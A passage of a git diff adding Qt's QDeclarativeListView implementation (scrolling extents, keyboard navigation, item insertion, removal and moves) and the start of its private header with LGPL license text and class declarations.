+ return d->minExtent;
+}
+
+qreal QDeclarativeListView::maxXExtent() const
+{
+ Q_D(const QDeclarativeListView);
+ if (d->orient == QDeclarativeListView::Vertical)
+ return width();
+ if (d->maxExtentDirty) {
+ qreal highlightStart;
+ qreal highlightEnd;
+ qreal lastItemPosition = 0;
+ d->maxExtent = 0;
+ if (d->isRightToLeft()) {
+ highlightStart = d->highlightRangeStartValid ? d->highlightRangeEnd : d->size();
+ highlightEnd = d->highlightRangeEndValid ? d->highlightRangeStart : d->size();
+ lastItemPosition = d->endPosition();
+ } else {
+ highlightStart = d->highlightRangeStart;
+ highlightEnd = d->highlightRangeEnd;
+ if (d->model && d->model->count())
+ lastItemPosition = d->positionAt(d->model->count()-1);
+ }
+ if (!d->model || !d->model->count()) {
+ if (!d->isRightToLeft())
+ d->maxExtent = d->header ? -d->header->size() : 0;
+ d->maxExtent += width();
+ } else if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) {
+ d->maxExtent = -(lastItemPosition - highlightStart);
+ if (highlightEnd != highlightStart) {
+ d->maxExtent = d->isRightToLeft()
+ ? qMax(d->maxExtent, -(d->endPosition() - highlightEnd + 1))
+ : qMin(d->maxExtent, -(d->endPosition() - highlightEnd + 1));
+ }
+ } else {
+ d->maxExtent = -(d->endPosition() - width() + 1);
+ }
+ if (d->isRightToLeft()) {
+ if (d->header && d->visibleItems.count())
+ d->maxExtent -= d->header->size();
+ } else {
+ if (d->footer)
+ d->maxExtent -= d->footer->size();
+ qreal minX = minXExtent();
+ if (d->maxExtent > minX)
+ d->maxExtent = minX;
+ }
+ d->maxExtentDirty = false;
+ }
+ return d->maxExtent;
+}
+
+void QDeclarativeListView::keyPressEvent(QKeyEvent *event)
+{
+ Q_D(QDeclarativeListView);
+ keyPressPreHandler(event);
+ if (event->isAccepted())
+ return;
+
+ if (d->model && d->model->count() && d->interactive) {
+ if ((d->orient == QDeclarativeListView::Horizontal && !d->isRightToLeft() && event->key() == Qt::Key_Left)
+ || (d->orient == QDeclarativeListView::Horizontal && d->isRightToLeft() && event->key() == Qt::Key_Right)
+ || (d->orient == QDeclarativeListView::Vertical && event->key() == Qt::Key_Up)) {
+ if (currentIndex() > 0 || (d->wrap && !event->isAutoRepeat())) {
+ decrementCurrentIndex();
+ event->accept();
+ return;
+ } else if (d->wrap) {
+ event->accept();
+ return;
+ }
+ } else if ((d->orient == QDeclarativeListView::Horizontal && !d->isRightToLeft() && event->key() == Qt::Key_Right)
+ || (d->orient == QDeclarativeListView::Horizontal && d->isRightToLeft() && event->key() == Qt::Key_Left)
+ || (d->orient == QDeclarativeListView::Vertical && event->key() == Qt::Key_Down)) {
+ if (currentIndex() < d->model->count() - 1 || (d->wrap && !event->isAutoRepeat())) {
+ incrementCurrentIndex();
+ event->accept();
+ return;
+ } else if (d->wrap) {
+ event->accept();
+ return;
+ }
+ }
+ }
+ event->ignore();
+ QDeclarativeFlickable::keyPressEvent(event);
+}
+
+void QDeclarativeListView::geometryChanged(const QRectF &newGeometry,
+ const QRectF &oldGeometry)
+{
+ Q_D(QDeclarativeListView);
+ d->maxExtentDirty = true;
+ d->minExtentDirty = true;
+ if (d->isRightToLeft() && d->orient == QDeclarativeListView::Horizontal) {
+ // maintain position relative to the right edge
+ int dx = newGeometry.width() - oldGeometry.width();
+ setContentX(contentX() - dx);
+ }
+ QDeclarativeFlickable::geometryChanged(newGeometry, oldGeometry);
+}
+
+
+/*!
+ \qmlmethod ListView::incrementCurrentIndex()
+
+ Increments the current index. The current index will wrap
+ if keyNavigationWraps is true and it is currently at the end.
+ This method has no effect if the \l count is zero.
+
+ \bold Note: methods should only be called after the Component has completed.
+*/
+void QDeclarativeListView::incrementCurrentIndex()
+{
+ Q_D(QDeclarativeListView);
+ int count = d->model ? d->model->count() : 0;
+ if (count && (currentIndex() < count - 1 || d->wrap)) {
+ d->moveReason = QDeclarativeListViewPrivate::SetIndex;
+ int index = currentIndex()+1;
+ setCurrentIndex((index >= 0 && index < count) ? index : 0);
+ }
+}
+
+/*!
+ \qmlmethod ListView::decrementCurrentIndex()
+
+ Decrements the current index. The current index will wrap
+ if keyNavigationWraps is true and it is currently at the beginning.
+ This method has no effect if the \l count is zero.
+
+ \bold Note: methods should only be called after the Component has completed.
+*/
+void QDeclarativeListView::decrementCurrentIndex()
+{
+ Q_D(QDeclarativeListView);
+ int count = d->model ? d->model->count() : 0;
+ if (count && (currentIndex() > 0 || d->wrap)) {
+ d->moveReason = QDeclarativeListViewPrivate::SetIndex;
+ int index = currentIndex()-1;
+ setCurrentIndex((index >= 0 && index < count) ? index : count-1);
+ }
+}
+
+void QDeclarativeListViewPrivate::positionViewAtIndex(int index, int mode)
+{
+ Q_Q(QDeclarativeListView);
+ if (!isValid())
+ return;
+ if (mode < QDeclarativeListView::Beginning || mode > QDeclarativeListView::Contain)
+ return;
+ int idx = qMax(qMin(index, model->count()-1), 0);
+
+ if (layoutScheduled)
+ layout();
+ qreal pos = isRightToLeft() ? -position() - size() : position();
+ FxListItem *item = visibleItem(idx);
+ qreal maxExtent;
+ if (orient == QDeclarativeListView::Vertical)
+ maxExtent = -q->maxYExtent();
+ else
+ maxExtent = isRightToLeft() ? q->minXExtent()-size(): -q->maxXExtent();
+
+ if (!item) {
+ int itemPos = positionAt(idx);
+ // save the currently visible items in case any of them end up visible again
+ QList<FxListItem*> oldVisible = visibleItems;
+ visibleItems.clear();
+ visiblePos = itemPos;
+ visibleIndex = idx;
+ setPosition(qMin(qreal(itemPos), maxExtent));
+ // now release the reference to all the old visible items.
+ for (int i = 0; i < oldVisible.count(); ++i)
+ releaseItem(oldVisible.at(i));
+ item = visibleItem(idx);
+ }
+ if (item) {
+ const qreal itemPos = item->position();
+ switch (mode) {
+ case QDeclarativeListView::Beginning:
+ pos = itemPos;
+ if (index < 0 && header)
+ pos -= header->size();
+ break;
+ case QDeclarativeListView::Center:
+ pos = itemPos - (size() - item->size())/2;
+ break;
+ case QDeclarativeListView::End:
+ pos = itemPos - size() + item->size();
+ if (index >= model->count() && footer)
+ pos += footer->size();
+ break;
+ case QDeclarativeListView::Visible:
+ if (itemPos > pos + size())
+ pos = itemPos - size() + item->size();
+ else if (item->endPosition() < pos)
+ pos = itemPos;
+ break;
+ case QDeclarativeListView::Contain:
+ if (item->endPosition() > pos + size())
+ pos = itemPos - size() + item->size();
+ if (itemPos < pos)
+ pos = itemPos;
+ }
+ pos = qMin(pos, maxExtent);
+ qreal minExtent;
+ if (orient == QDeclarativeListView::Vertical) {
+ minExtent = -q->minYExtent();
+ } else {
+ minExtent = isRightToLeft() ? q->maxXExtent()-size(): -q->minXExtent();
+ }
+ pos = qMax(pos, minExtent);
+ moveReason = QDeclarativeListViewPrivate::Other;
+ q->cancelFlick();
+ setPosition(pos);
+ if (highlight) {
+ if (autoHighlight) {
+ highlight->setPosition(currentItem->itemPosition());
+ highlight->setSize(currentItem->itemSize());
+ }
+ updateHighlight();
+ }
+ }
+ fixupPosition();
+}
+
+/*!
+ \qmlmethod ListView::positionViewAtIndex(int index, PositionMode mode)
+
+ Positions the view such that the \a index is at the position specified by
+ \a mode:
+
+ \list
+ \o ListView.Beginning - position item at the top (or left for horizontal orientation) of the view.
+ \o ListView.Center - position item in the center of the view.
+ \o ListView.End - position item at bottom (or right for horizontal orientation) of the view.
+ \o ListView.Visible - if any part of the item is visible then take no action, otherwise
+ bring the item into view.
+ \o ListView.Contain - ensure the entire item is visible. If the item is larger than
+ the view the item is positioned at the top (or left for horizontal orientation) of the view.
+ \endlist
+
+ If positioning the view at \a index would cause empty space to be displayed at
+ the beginning or end of the view, the view will be positioned at the boundary.
+
+ It is not recommended to use \l {Flickable::}{contentX} or \l {Flickable::}{contentY} to position the view
+ at a particular index. This is unreliable since removing items from the start
+ of the list does not cause all other items to be repositioned, and because
+ the actual start of the view can vary based on the size of the delegates.
+ The correct way to bring an item into view is with \c positionViewAtIndex.
+
+ \bold Note: methods should only be called after the Component has completed. To position
+ the view at startup, this method should be called by Component.onCompleted. For
+ example, to position the view at the end:
+
+ \code
+ Component.onCompleted: positionViewAtIndex(count - 1, ListView.Beginning)
+ \endcode
+*/
+void QDeclarativeListView::positionViewAtIndex(int index, int mode)
+{
+ Q_D(QDeclarativeListView);
+ if (!d->isValid() || index < 0 || index >= d->model->count())
+ return;
+ d->positionViewAtIndex(index, mode);
+}
+
+/*!
+ \qmlmethod ListView::positionViewAtBeginning()
+ \qmlmethod ListView::positionViewAtEnd()
+ \since QtQuick 1.1
+
+ Positions the view at the beginning or end, taking into account any header or footer.
+
+ It is not recommended to use \l {Flickable::}{contentX} or \l {Flickable::}{contentY} to position the view
+ at a particular index. This is unreliable since removing items from the start
+ of the list does not cause all other items to be repositioned, and because
+ the actual start of the view can vary based on the size of the delegates.
+
+ \bold Note: methods should only be called after the Component has completed. To position
+ the view at startup, this method should be called by Component.onCompleted. For
+ example, to position the view at the end on startup:
+
+ \code
+ Component.onCompleted: positionViewAtEnd()
+ \endcode
+*/
+void QDeclarativeListView::positionViewAtBeginning()
+{
+ Q_D(QDeclarativeListView);
+ if (!d->isValid())
+ return;
+ d->positionViewAtIndex(-1, Beginning);
+}
+
+void QDeclarativeListView::positionViewAtEnd()
+{
+ Q_D(QDeclarativeListView);
+ if (!d->isValid())
+ return;
+ d->positionViewAtIndex(d->model->count(), End);
+}
+
+/*!
+ \qmlmethod int ListView::indexAt(int x, int y)
+
+ Returns the index of the visible item containing the point \a x, \a y in content
+ coordinates. If there is no item at the point specified, or the item is
+ not visible -1 is returned.
+
+ If the item is outside the visible area, -1 is returned, regardless of
+ whether an item will exist at that point when scrolled into view.
+
+ \bold Note: methods should only be called after the Component has completed.
+*/
+int QDeclarativeListView::indexAt(qreal x, qreal y) const
+{
+ Q_D(const QDeclarativeListView);
+ for (int i = 0; i < d->visibleItems.count(); ++i) {
+ const FxListItem *listItem = d->visibleItems.at(i);
+ if(listItem->contains(x, y))
+ return listItem->index;
+ }
+
+ return -1;
+}
+
+void QDeclarativeListView::componentComplete()
+{
+ Q_D(QDeclarativeListView);
+ QDeclarativeFlickable::componentComplete();
+ updateSections();
+ d->updateHeader();
+ d->updateFooter();
+ if (d->isValid()) {
+ refill();
+ d->moveReason = QDeclarativeListViewPrivate::SetIndex;
+ if (d->currentIndex < 0 && !d->currentIndexCleared)
+ d->updateCurrent(0);
+ else
+ d->updateCurrent(d->currentIndex);
+ if (d->highlight && d->currentItem) {
+ if (d->autoHighlight)
+ d->highlight->setPosition(d->currentItem->position());
+ d->updateTrackedItem();
+ }
+ d->moveReason = QDeclarativeListViewPrivate::Other;
+ d->fixupPosition();
+ }
+}
+
+void QDeclarativeListView::updateSections()
+{
+ Q_D(QDeclarativeListView);
+ if (isComponentComplete() && d->model) {
+ QList<QByteArray> roles;
+ if (d->sectionCriteria && !d->sectionCriteria->property().isEmpty())
+ roles << d->sectionCriteria->property().toUtf8();
+ d->model->setWatchedRoles(roles);
+ d->updateSections();
+ if (d->itemCount)
+ d->layout();
+ }
+}
+
+void QDeclarativeListView::refill()
+{
+ Q_D(QDeclarativeListView);
+ if (d->isRightToLeft())
+ d->refill(-d->position()-d->size()+1, -d->position());
+ else
+ d->refill(d->position(), d->position()+d->size()-1);
+}
+
+void QDeclarativeListView::trackedPositionChanged()
+{
+ Q_D(QDeclarativeListView);
+ if (!d->trackedItem || !d->currentItem)
+ return;
+ if (d->moveReason == QDeclarativeListViewPrivate::SetIndex) {
+ qreal trackedPos = qCeil(d->trackedItem->position());
+ qreal trackedSize = d->trackedItem->size();
+ if (d->trackedItem != d->currentItem) {
+ trackedPos -= d->currentItem->sectionSize();
+ trackedSize += d->currentItem->sectionSize();
+ }
+ qreal viewPos;
+ qreal highlightStart;
+ qreal highlightEnd;
+ if (d->isRightToLeft()) {
+ viewPos = -d->position()-d->size();
+ highlightStart = d->highlightRangeStartValid ? d->size()-d->highlightRangeEnd : d->highlightRangeStart;
+ highlightEnd = d->highlightRangeEndValid ? d->size()-d->highlightRangeStart : d->highlightRangeEnd;
+ } else {
+ viewPos = d->position();
+ highlightStart = d->highlightRangeStart;
+ highlightEnd = d->highlightRangeEnd;
+ }
+ qreal pos = viewPos;
+ if (d->haveHighlightRange) {
+ if (d->highlightRange == StrictlyEnforceRange) {
+ if (trackedPos > pos + highlightEnd - d->trackedItem->size())
+ pos = trackedPos - highlightEnd + d->trackedItem->size();
+ if (trackedPos < pos + highlightStart)
+ pos = trackedPos - highlightStart;
+ } else {
+ if (trackedPos < d->startPosition() + highlightStart) {
+ pos = d->startPosition();
+ } else if (d->trackedItem->endPosition() > d->endPosition() - d->size() + highlightEnd) {
+ pos = d->endPosition() - d->size() + 1;
+ if (pos < d->startPosition())
+ pos = d->startPosition();
+ } else {
+ if (trackedPos < viewPos + highlightStart) {
+ pos = trackedPos - highlightStart;
+ } else if (trackedPos > viewPos + highlightEnd - trackedSize) {
+ pos = trackedPos - highlightEnd + trackedSize;
+ }
+ }
+ }
+ } else {
+ if (trackedPos < viewPos && d->currentItem->position() < viewPos) {
+ pos = d->currentItem->position() < trackedPos ? trackedPos : d->currentItem->position();
+ } else if (d->trackedItem->endPosition() >= viewPos + d->size()
+ && d->currentItem->endPosition() >= viewPos + d->size()) {
+ if (d->trackedItem->endPosition() <= d->currentItem->endPosition()) {
+ pos = d->trackedItem->endPosition() - d->size() + 1;
+ if (trackedSize > d->size())
+ pos = trackedPos;
+ } else {
+ pos = d->currentItem->endPosition() - d->size() + 1;
+ if (d->currentItem->size() > d->size())
+ pos = d->currentItem->position();
+ }
+ }
+ }
+ if (viewPos != pos) {
+ cancelFlick();
+ d->calcVelocity = true;
+ d->setPosition(pos);
+ d->calcVelocity = false;
+ }
+ }
+}
+
+void QDeclarativeListView::itemsInserted(int modelIndex, int count)
+{
+ Q_D(QDeclarativeListView);
+ if (!isComponentComplete())
+ return;
+ d->updateUnrequestedIndexes();
+ d->moveReason = QDeclarativeListViewPrivate::Other;
+
+ qreal tempPos = d->isRightToLeft() ? -d->position()-d->size() : d->position();
+ int index = d->visibleItems.count() ? d->mapFromModel(modelIndex) : 0;
+
+ if (index < 0) {
+ int i = d->visibleItems.count() - 1;
+ while (i > 0 && d->visibleItems.at(i)->index == -1)
+ --i;
+ if (i == 0 && d->visibleItems.first()->index == -1) {
+ // there are no visible items except items marked for removal
+ index = d->visibleItems.count();
+ } else if (d->visibleItems.at(i)->index + 1 == modelIndex
+ && d->visibleItems.at(i)->endPosition() < d->buffer+tempPos+d->size()-1) {
+ // Special case of appending an item to the model.
+ index = d->visibleItems.count();
+ } else {
+ if (modelIndex < d->visibleIndex) {
+ // Insert before visible items
+ d->visibleIndex += count;
+ for (int i = 0; i < d->visibleItems.count(); ++i) {
+ FxListItem *listItem = d->visibleItems.at(i);
+ if (listItem->index != -1 && listItem->index >= modelIndex)
+ listItem->index += count;
+ }
+ }
+ if (d->currentIndex >= modelIndex) {
+ // adjust current item index
+ d->currentIndex += count;
+ if (d->currentItem)
+ d->currentItem->index = d->currentIndex;
+ emit currentIndexChanged();
+ }
+ d->scheduleLayout();
+ d->itemCount += count;
+ emit countChanged();
+ return;
+ }
+ }
+
+ // index can be the next item past the end of the visible items list (i.e. appended)
+ int pos = 0;
+ if (d->visibleItems.count()) {
+ pos = index < d->visibleItems.count() ? d->visibleItems.at(index)->position()
+ : d->visibleItems.last()->endPosition()+d->spacing+1;
+ } else if (d->itemCount == 0 && d->header) {
+ pos = d->header->size();
+ }
+
+ int initialPos = pos;
+ int diff = 0;
+ QList<FxListItem*> added;
+ bool addedVisible = false;
+ FxListItem *firstVisible = d->firstVisibleItem();
+ if (firstVisible && pos < firstVisible->position()) {
+ // Insert items before the visible item.
+ int insertionIdx = index;
+ int i = 0;
+ int from = tempPos - d->buffer;
+ for (i = count-1; i >= 0 && pos > from; --i) {
+ if (!addedVisible) {
+ d->scheduleLayout();
+ addedVisible = true;
+ }
+ FxListItem *item = d->createItem(modelIndex + i);
+ if (!item) {
+ // broken or no delegate
+ d->clear();
+ return;
+ }
+ d->visibleItems.insert(insertionIdx, item);
+ pos -= item->size() + d->spacing;
+ item->setPosition(pos);
+ index++;
+ }
+ if (i >= 0) {
+ // If we didn't insert all our new items - anything
+ // before the current index is not visible - remove it.
+ while (insertionIdx--) {
+ FxListItem *item = d->visibleItems.takeFirst();
+ if (item->index != -1)
+ d->visibleIndex++;
+ d->releaseItem(item);
+ }
+ } else {
+ // adjust pos of items before inserted items.
+ for (int i = insertionIdx-1; i >= 0; i--) {
+ FxListItem *listItem = d->visibleItems.at(i);
+ listItem->setPosition(listItem->position() - (initialPos - pos));
+ }
+ }
+ } else {
+ int i = 0;
+ int to = d->buffer+tempPos+d->size()-1;
+ for (i = 0; i < count && pos <= to; ++i) {
+ if (!addedVisible) {
+ d->scheduleLayout();
+ addedVisible = true;
+ }
+ FxListItem *item = d->createItem(modelIndex + i);
+ if (!item) {
+ // broken or no delegate
+ d->clear();
+ return;
+ }
+ d->visibleItems.insert(index, item);
+ item->setPosition(pos);
+ added.append(item);
+ pos += item->size() + d->spacing;
+ ++index;
+ }
+ if (i != count) {
+ // We didn't insert all our new items, which means anything
+ // beyond the current index is not visible - remove it.
+ while (d->visibleItems.count() > index)
+ d->releaseItem(d->visibleItems.takeLast());
+ }
+ diff = pos - initialPos;
+ }
+ if (d->itemCount && d->currentIndex >= modelIndex) {
+ // adjust current item index
+ d->currentIndex += count;
+ if (d->currentItem) {
+ d->currentItem->index = d->currentIndex;
+ d->currentItem->setPosition(d->currentItem->position() + diff);
+ }
+ emit currentIndexChanged();
+ } else if (!d->itemCount && (!d->currentIndex || (d->currentIndex < 0 && !d->currentIndexCleared))) {
+ d->updateCurrent(0);
+ }
+ // Update the indexes of the following visible items.
+ for (; index < d->visibleItems.count(); ++index) {
+ FxListItem *listItem = d->visibleItems.at(index);
+ if (d->currentItem && listItem->item != d->currentItem->item)
+ listItem->setPosition(listItem->position() + diff);
+ if (listItem->index != -1)
+ listItem->index += count;
+ }
+ // everything is in order now - emit add() signal
+ for (int j = 0; j < added.count(); ++j)
+ added.at(j)->attached->emitAdd();
+
+ d->updateSections();
+ d->itemCount += count;
+ emit countChanged();
+}
+
+void QDeclarativeListView::itemsRemoved(int modelIndex, int count)
+{
+ Q_D(QDeclarativeListView);
+ if (!isComponentComplete())
+ return;
+ d->moveReason = QDeclarativeListViewPrivate::Other;
+ d->updateUnrequestedIndexes();
+ d->itemCount -= count;
+
+ FxListItem *firstVisible = d->firstVisibleItem();
+ int preRemovedSize = 0;
+ bool removedVisible = false;
+ // Remove the items from the visible list, skipping anything already marked for removal
+ QList<FxListItem*>::Iterator it = d->visibleItems.begin();
+ while (it != d->visibleItems.end()) {
+ FxListItem *item = *it;
+ if (item->index == -1 || item->index < modelIndex) {
+ // already removed, or before removed items
+ ++it;
+ } else if (item->index >= modelIndex + count) {
+ // after removed items
+ item->index -= count;
+ ++it;
+ } else {
+ // removed item
+ if (!removedVisible) {
+ d->scheduleLayout();
+ removedVisible = true;
+ }
+ item->attached->emitRemove();
+ if (item->attached->delayRemove()) {
+ item->index = -1;
+ connect(item->attached, SIGNAL(delayRemoveChanged()), this, SLOT(destroyRemoved()), Qt::QueuedConnection);
+ ++it;
+ } else {
+ if (item == firstVisible)
+ firstVisible = 0;
+ if (firstVisible && item->position() < firstVisible->position())
+ preRemovedSize += item->size();
+ it = d->visibleItems.erase(it);
+ d->releaseItem(item);
+ }
+ }
+ }
+
+ if (firstVisible && d->visibleItems.first() != firstVisible)
+ d->visibleItems.first()->setPosition(d->visibleItems.first()->position() + preRemovedSize);
+
+ // fix current
+ if (d->currentIndex >= modelIndex + count) {
+ d->currentIndex -= count;
+ if (d->currentItem)
+ d->currentItem->index -= count;
+ emit currentIndexChanged();
+ } else if (d->currentIndex >= modelIndex && d->currentIndex < modelIndex + count) {
+ // current item has been removed.
+ d->currentItem->attached->setIsCurrentItem(false);
+ d->releaseItem(d->currentItem);
+ d->currentItem = 0;
+ d->currentIndex = -1;
+ if (d->itemCount)
+ d->updateCurrent(qMin(modelIndex, d->itemCount-1));
+ else
+ emit currentIndexChanged();
+ }
+
+ // update visibleIndex
+ bool haveVisibleIndex = false;
+ for (it = d->visibleItems.begin(); it != d->visibleItems.end(); ++it) {
+ if ((*it)->index != -1) {
+ d->visibleIndex = (*it)->index;
+ haveVisibleIndex = true;
+ break;
+ }
+ }
+
+ if (!haveVisibleIndex) {
+ d->timeline.clear();
+ if (removedVisible && d->itemCount == 0) {
+ d->visibleIndex = 0;
+ d->visiblePos = d->header ? d->header->size() : 0;
+ d->setPosition(0);
+ d->updateHeader();
+ d->updateFooter();
+ update();
+ } else {
+ if (modelIndex < d->visibleIndex)
+ d->visibleIndex = modelIndex+1;
+ d->visibleIndex = qMax(qMin(d->visibleIndex, d->itemCount-1), 0);
+ }
+ }
+
+ d->updateSections();
+ emit countChanged();
+}
+
+void QDeclarativeListView::destroyRemoved()
+{
+ Q_D(QDeclarativeListView);
+ for (QList<FxListItem*>::Iterator it = d->visibleItems.begin();
+ it != d->visibleItems.end();) {
+ FxListItem *listItem = *it;
+ if (listItem->index == -1 && listItem->attached->delayRemove() == false) {
+ d->releaseItem(listItem);
+ it = d->visibleItems.erase(it);
+ } else {
+ ++it;
+ }
+ }
+
+ // Correct the positioning of the items
+ d->updateSections();
+ d->layout();
+}
+
+void QDeclarativeListView::itemsMoved(int from, int to, int count)
+{
+ Q_D(QDeclarativeListView);
+ if (!isComponentComplete())
+ return;
+ d->updateUnrequestedIndexes();
+
+ if (d->visibleItems.isEmpty()) {
+ refill();
+ return;
+ }
+
+ d->moveReason = QDeclarativeListViewPrivate::Other;
+ FxListItem *firstVisible = d->firstVisibleItem();
+ qreal firstItemPos = firstVisible->position();
+ QHash<int,FxListItem*> moved;
+ int moveBy = 0;
+
+ QList<FxListItem*>::Iterator it = d->visibleItems.begin();
+ while (it != d->visibleItems.end()) {
+ FxListItem *item = *it;
+ if (item->index >= from && item->index < from + count) {
+ // take the items that are moving
+ item->index += (to-from);
+ moved.insert(item->index, item);
+ if (item->position() < firstItemPos)
+ moveBy += item->size();
+ it = d->visibleItems.erase(it);
+ } else {
+ // move everything after the moved items.
+ if (item->index > from && item->index != -1)
+ item->index -= count;
+ ++it;
+ }
+ }
+
+ int remaining = count;
+ int endIndex = d->visibleIndex;
+ it = d->visibleItems.begin();
+ while (it != d->visibleItems.end()) {
+ FxListItem *item = *it;
+ if (remaining && item->index >= to && item->index < to + count) {
+ // place items in the target position, reusing any existing items
+ FxListItem *movedItem = moved.take(item->index);
+ if (!movedItem)
+ movedItem = d->createItem(item->index);
+ if (!movedItem) {
+ // broken or no delegate
+ d->clear();
+ return;
+ }
+ if (item->index <= firstVisible->index)
+ moveBy -= movedItem->size();
+ it = d->visibleItems.insert(it, movedItem);
+ ++it;
+ --remaining;
+ } else {
+ if (item->index != -1) {
+ if (item->index >= to) {
+ // update everything after the moved items.
+ item->index += count;
+ }
+ endIndex = item->index;
+ }
+ ++it;
+ }
+ }
+
+ // If we have moved items to the end of the visible items
+ // then add any existing moved items that we have
+ while (FxListItem *item = moved.take(endIndex+1)) {
+ d->visibleItems.append(item);
+ ++endIndex;
+ }
+
+ // update visibleIndex
+ for (it = d->visibleItems.begin(); it != d->visibleItems.end(); ++it) {
+ if ((*it)->index != -1) {
+ d->visibleIndex = (*it)->index;
+ break;
+ }
+ }
+
+ // Fix current index
+ if (d->currentIndex >= 0 && d->currentItem) {
+ int oldCurrent = d->currentIndex;
+ d->currentIndex = d->model->indexOf(d->currentItem->item, this);
+ if (oldCurrent != d->currentIndex) {
+ d->currentItem->index = d->currentIndex;
+ emit currentIndexChanged();
+ }
+ }
+
+ // Whatever moved items remain are no longer visible items.
+ while (moved.count()) {
+ int idx = moved.begin().key();
+ FxListItem *item = moved.take(idx);
+ if (d->currentItem && item->item == d->currentItem->item)
+ item->setPosition(d->positionAt(idx));
+ d->releaseItem(item);
+ }
+
+ // Ensure we don't cause an ugly list scroll.
+ d->visibleItems.first()->setPosition(d->visibleItems.first()->position() + moveBy);
+
+ d->updateSections();
+ d->layout();
+}
+
+void QDeclarativeListView::itemsChanged(int, int)
+{
+ Q_D(QDeclarativeListView);
+ d->updateSections();
+ d->layout();
+}
+
+void QDeclarativeListView::modelReset()
+{
+ Q_D(QDeclarativeListView);
+ d->moveReason = QDeclarativeListViewPrivate::SetIndex;
+ d->regenerate();
+ if (d->highlight && d->currentItem) {
+ if (d->autoHighlight)
+ d->highlight->setPosition(d->currentItem->position());
+ d->updateTrackedItem();
+ }
+ d->moveReason = QDeclarativeListViewPrivate::Other;
+ emit countChanged();
+}
+
+void QDeclarativeListView::createdItem(int index, QDeclarativeItem *item)
+{
+ Q_D(QDeclarativeListView);
+ if (d->requestedIndex != index) {
+ item->setParentItem(contentItem());
+ d->unrequestedItems.insert(item, index);
+ if (d->orient == QDeclarativeListView::Vertical) {
+ item->setY(d->positionAt(index));
+ } else {
+ if (d->isRightToLeft())
+ item->setX(-d->positionAt(index)-item->width());
+ else
+ item->setX(d->positionAt(index));
+ }
+ }
+}
+
+void QDeclarativeListView::destroyingItem(QDeclarativeItem *item)
+{
+ Q_D(QDeclarativeListView);
+ d->unrequestedItems.remove(item);
+}
+
+void QDeclarativeListView::animStopped()
+{
+ Q_D(QDeclarativeListView);
+ d->bufferMode = QDeclarativeListViewPrivate::NoBuffer;
+ if (d->haveHighlightRange && d->highlightRange == QDeclarativeListView::StrictlyEnforceRange)
+ d->updateHighlight();
+}
+
+QDeclarativeListViewAttached *QDeclarativeListView::qmlAttachedProperties(QObject *obj)
+{
+ return new QDeclarativeListViewAttached(obj);
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/graphicsitems/qdeclarativelistview_p.h b/src/declarative/graphicsitems/qdeclarativelistview_p.h
new file mode 100644
index 00000000..e3c4ffe1
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativelistview_p.h
@@ -0,0 +1,370 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVELISTVIEW_H
+#define QDECLARATIVELISTVIEW_H
+
+#include "private/qdeclarativeflickable_p.h"
+#include "private/qdeclarativeguard_p.h"
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class Q_AUTOTEST_EXPORT QDeclarativeViewSection : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(QString property READ property WRITE setProperty NOTIFY propertyChanged)
+ Q_PROPERTY(SectionCriteria criteria READ criteria WRITE setCriteria NOTIFY criteriaChanged)
+ Q_PROPERTY(QDeclarativeComponent *delegate READ delegate WRITE setDelegate NOTIFY delegateChanged)
+ Q_ENUMS(SectionCriteria)
+public:
+ QDeclarativeViewSection(QObject *parent=0) : QObject(parent), m_criteria(FullString), m_delegate(0) {}
+
+ QString property() const { return m_property; }
+ void setProperty(const QString &);
+
+ enum SectionCriteria { FullString, FirstCharacter };
+ SectionCriteria criteria() const { return m_criteria; }
+ void setCriteria(SectionCriteria);
+
+ QDeclarativeComponent *delegate() const { return m_delegate; }
+ void setDelegate(QDeclarativeComponent *delegate);
+
+ QString sectionString(const QString &value);
+
+Q_SIGNALS:
+ void propertyChanged();
+ void criteriaChanged();
+ void delegateChanged();
+
+private:
+ QString m_property;
+ SectionCriteria m_criteria;
+ QDeclarativeComponent *m_delegate;
+};
+
+
+class QDeclarativeVisualModel;
+class QDeclarativeListViewAttached;
+class QDeclarativeListViewPrivate;
+class Q_AUTOTEST_EXPORT QDeclarativeListView : public QDeclarativeFlickable
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativeListView)
+
+ Q_PROPERTY(QVariant model READ model WRITE setModel NOTIFY modelChanged)
+ Q_PROPERTY(QDeclarativeComponent *delegate READ delegate WRITE setDelegate NOTIFY delegateChanged)
+ Q_PROPERTY(int currentIndex READ currentIndex WRITE setCurrentIndex NOTIFY currentIndexChanged)
+ Q_PROPERTY(QDeclarativeItem *currentItem READ currentItem NOTIFY currentIndexChanged)
+ Q_PROPERTY(int count READ count NOTIFY countChanged)
+
+ Q_PROPERTY(QDeclarativeComponent *highlight READ highlight WRITE setHighlight NOTIFY highlightChanged)
+ Q_PROPERTY(QDeclarativeItem *highlightItem READ highlightItem NOTIFY highlightItemChanged)
